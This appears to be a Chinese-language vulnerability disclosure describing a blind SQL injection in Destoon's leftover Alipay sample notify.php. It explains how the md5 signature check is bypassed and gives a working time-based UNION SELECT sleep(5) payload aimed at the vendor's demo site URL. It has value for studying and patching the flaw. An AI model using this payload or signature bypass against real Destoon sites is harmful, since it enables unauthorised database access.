### 简要描述:
没回显,示例代码没删
### 详细说明:
之前destoon出现过支付接口的注入问题WEBROOT/api/pay/下的已经全部修复了
但是新版本里面多出来两个示例代码,导致注入
如下图
[<img src="https://images.seebug.org/upload/201411/161852195cc93e1c1bedb0daf4f2dab97e7fc927.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/161852195cc93e1c1bedb0daf4f2dab97e7fc927.png)
[<img src="https://images.seebug.org/upload/201411/16185244c2e7cc3ec9fd105b2ad8487179a16c03.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16185244c2e7cc3ec9fd105b2ad8487179a16c03.png)
这里面各种注入
以WEBROOT\api\trade\alipay\2\notify.php为例子,如下图
[<img src="https://images.seebug.org/upload/201411/161900581b4d607cc7656602d17ee147e862bdad.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/161900581b4d607cc7656602d17ee147e862bdad.png)
第61行处的$itemid来自post提交,并且没有被单引号包裹,也不用管common的通用过滤了。
第46行处需要校验一下。跟进去,进入WEBROOT\api\trade\alipay\2\pay\alipay_core.function.php
如下图
[<img src="https://images.seebug.org/upload/201411/16190755a2dca163cec9e581755320c2ef23d34f.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16190755a2dca163cec9e581755320c2ef23d34f.png)
要想返回true,需要两个条件,
第一个条件preg_match("/true$/i",$responseTxt)如图$responseTxt一直等于true所以恒真的。
第二个条件$mysign == $_POST["sign"]
$mysign来自45行对post的处理,所以又要跟进下面这
[<img src="https://images.seebug.org/upload/201411/161919559d3756dd53d3b13740608d23439e3c5a.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/161919559d3756dd53d3b13740608d23439e3c5a.png)
这里对参数排序,去掉无效值后,最终会对除$_POST["sign"]以外的post参数的
name和value加等号一起md5一下返回。一定是加一起!!,
即$mysign就是post除开$_POST["sign"]的md5值
两个条件都凑齐了,返回true如最开始的图就验证成功了进入model层,触发漏洞
### 漏洞证明:
```
sign=adddcf5c72bcf33b9de127192f02c9dd&out_trade_no=1 UNION SELECT 1,2,3,4,5,6,7,8,sleep(5),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
sign是下面这一坨的md5,即name和value加上等号一起的md5
out_out_trade_no=1 UNION SELECT 1,2,3,4,5,6,7,8,sleep(5),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
```
[<img src="https://images.seebug.org/upload/201411/1619450384a20e4662756b57577d11453f840469.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/1619450384a20e4662756b57577d11453f840469.png)
效果,这是/include/db_mysql.class.php。
加个var_dump看看
[<img src="https://images.seebug.org/upload/201411/161948023ec73e7c1c1bb82274efa71899cced93.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/161948023ec73e7c1c1bb82274efa71899cced93.png)
[<img src="https://images.seebug.org/upload/201411/16194832675000264e928c2a23eb6d2b1726d6bc.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16194832675000264e928c2a23eb6d2b1726d6bc.png)
[<img src="https://images.seebug.org/upload/201411/16200140ff8c3e08434dfecef3e873d7c5ec17a2.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16200140ff8c3e08434dfecef3e873d7c5ec17a2.png)
官网的
[<img src="https://images.seebug.org/upload/201411/16192941dbcde7560095ebe75b653607b77feedd.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16192941dbcde7560095ebe75b653607b77feedd.png)
http://demo.destoon.com/v5.0/api/trade/alipay/2/notify.php?seller_email=
sign=adddcf5c72bcf33b9de127192f02c9dd&out_trade_no=1 UNION SELECT 1,2,3,4,5,6,7,8,sleep(5),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
暂无评论